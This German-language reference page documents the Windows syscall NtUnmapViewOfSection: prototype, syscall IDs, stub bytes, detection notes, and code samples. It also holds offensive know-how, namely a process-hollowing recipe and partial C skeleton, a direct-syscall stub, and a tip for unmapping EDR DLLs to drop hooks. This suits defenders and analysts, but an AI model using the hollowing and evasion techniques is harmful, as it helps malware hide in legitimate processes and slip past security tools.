NtUnmapViewOfSection
Hebt das Mapping einer zuvor gemappten Section-View aus dem Adressraum eines Prozesses auf.
Prototyp
NTSTATUS NtUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAddress );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| ProcessHandle | HANDLE | in | Handle auf den Prozess, dessen View entmappt wird. Erfordert PROCESS_VM_OPERATION. |
| BaseAddress | PVOID | in | Basisadresse der zu entmappenden View. Muss dem von NtMapViewOfSection zurückgegebenen Wert entsprechen. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x2A | win10-1507 |
| Win10 1607 | 0x2A | win10-1607 |
| Win10 1703 | 0x2A | win10-1703 |
| Win10 1709 | 0x2A | win10-1709 |
| Win10 1803 | 0x2A | win10-1803 |
| Win10 1809 | 0x2A | win10-1809 |
| Win10 1903 | 0x2A | win10-1903 |
| Win10 1909 | 0x2A | win10-1909 |
| Win10 2004 | 0x2A | win10-2004 |
| Win10 20H2 | 0x2A | win10-20h2 |
| Win10 21H1 | 0x2A | win10-21h1 |
| Win10 21H2 | 0x2A | win10-21h2 |
| Win10 22H2 | 0x2A | win10-22h2 |
| Win11 21H2 | 0x2A | win11-21h2 |
| Win11 22H2 | 0x2A | win11-22h2 |
| Win11 23H2 | 0x2A | win11-23h2 |
| Win11 24H2 | 0x2A | win11-24h2 |
| Server 2016 | 0x2A | winserver-2016 |
| Server 2019 | 0x2A | winserver-2019 |
| Server 2022 | 0x2A | winserver-2022 |
| Server 2025 | 0x2A | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 2A 00 00 00 mov eax, 0x2A F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
NtUnmapViewOfSection hält SSN `0x2A` über alle beobachteten Windows-10-/11-/Server-Builds. Das zugehörige NtUnmapViewOfSectionEx (ab Win10 1809) ist ein separater Syscall mit zusätzlichem Flags-Parameter. Intern dispatcht der Aufruf über MmUnmapViewOfSection und durchläuft den VAD-Baum des Zielprozesses, um den SECTION_OBJECT_POINTERS-Eintrag zu finden — genau das macht die Hollowing-Primitive so zuverlässig: Das Entmappen des eigenen Haupt-Image des Prozesses ist unterstützt und benötigt außer einem PROCESS_VM_OPERATION-Handle kein besonderes Privileg.
Häufige Malware-Nutzung
Eckpfeiler des Process Hollowings (T1055.012). Klassisches Rezept: CreateProcess(Ziel, CREATE_SUSPENDED) → NtQueryInformationProcess für die PEB-Image-Basis → NtUnmapViewOfSection auf diese Basis → NtAllocateVirtualMemory an der (bevorzugten) Originalbasis → die Sections des bösartigen Image schreiben → SetThreadContext RIP/RAX/EAX anpassen → ResumeThread. Stuxnet, Dridex, Hancitor, FormBook, Agent Tesla sowie moderne Dropper wie SmokeLoader und Amadey liefern alle Varianten. NtUnmapViewOfSection wird auch post-injection genutzt, um die View einer EDR-DLL aus einem Host-Prozess zu wischen, damit zukünftige LoadLibrary-Aufrufe eine frische Kopie ohne Inline-Hooks treffen.
Erkennungsmöglichkeiten
Cross-Process-NtUnmapViewOfSection mit ProcessHandle != Selbst ist in legitimer Software selten (Debugger-Detach-Pfade und einige Side-by-Side-Runtime-Manager, mehr nicht). Sysmon Event ID 25 (`ProcessTampering: Image is replaced`) zielt explizit auf das Unmap-dann-Alloc-Muster des Hollowings. Der ETW-Threat-Intelligence-Provider emittiert ab Win10 RS5 Process-Image-Modification-Events, die beim Unmap des primären Executable-Image feuern. Mit einem Kindprozess korrelieren, dessen On-Disk-Image vom In-Memory-Image abweicht (Modulpfad vs. Section-Header an PEB-ImageBaseAddress vergleichen).
Direkte Syscall-Beispiele
asmx64 direct stub
; Direct syscall stub for NtUnmapViewOfSection (SSN 0x2A, all builds)
NtUnmapViewOfSection PROC
mov r10, rcx ; syscall convention
mov eax, 2Ah ; SSN
syscall
ret
NtUnmapViewOfSection ENDPcProcess hollowing skeleton
// Classic RunPE / process hollowing skeleton. Error handling omitted.
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
void Hollow(LPCWSTR target, PVOID malicious_image, SIZE_T image_size,
PVOID preferred_base) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi;
CreateProcessW(target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
NULL, NULL, &si, &pi);
// Resolve PEB->ImageBaseAddress of the suspended child.
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
&pbi, sizeof pbi, NULL);
PVOID remote_base;
ReadProcessMemory(pi.hProcess,
(BYTE*)pbi.PebBaseAddress + 0x10, // ImageBaseAddress
&remote_base, sizeof remote_base, NULL);
// Tear down the legitimate image mapping.
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmap(pi.hProcess, remote_base);
// Re-allocate at preferred base and copy the malicious image, then
// patch the new entry point into the suspended thread's CONTEXT.
// (Section copy + relocations + SetThreadContext + ResumeThread omitted.)
}rustntapi safe wrapper
// Cargo: ntapi = "0.4", windows-sys = "0.59"
use ntapi::ntmmapi::NtUnmapViewOfSection;
use windows_sys::Win32::Foundation::HANDLE;
pub unsafe fn unmap_image(proc_handle: HANDLE, base: *mut core::ffi::c_void)
-> Result<(), i32>
{
let status = NtUnmapViewOfSection(proc_handle, base);
if status >= 0 { Ok(()) } else { Err(status) }
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20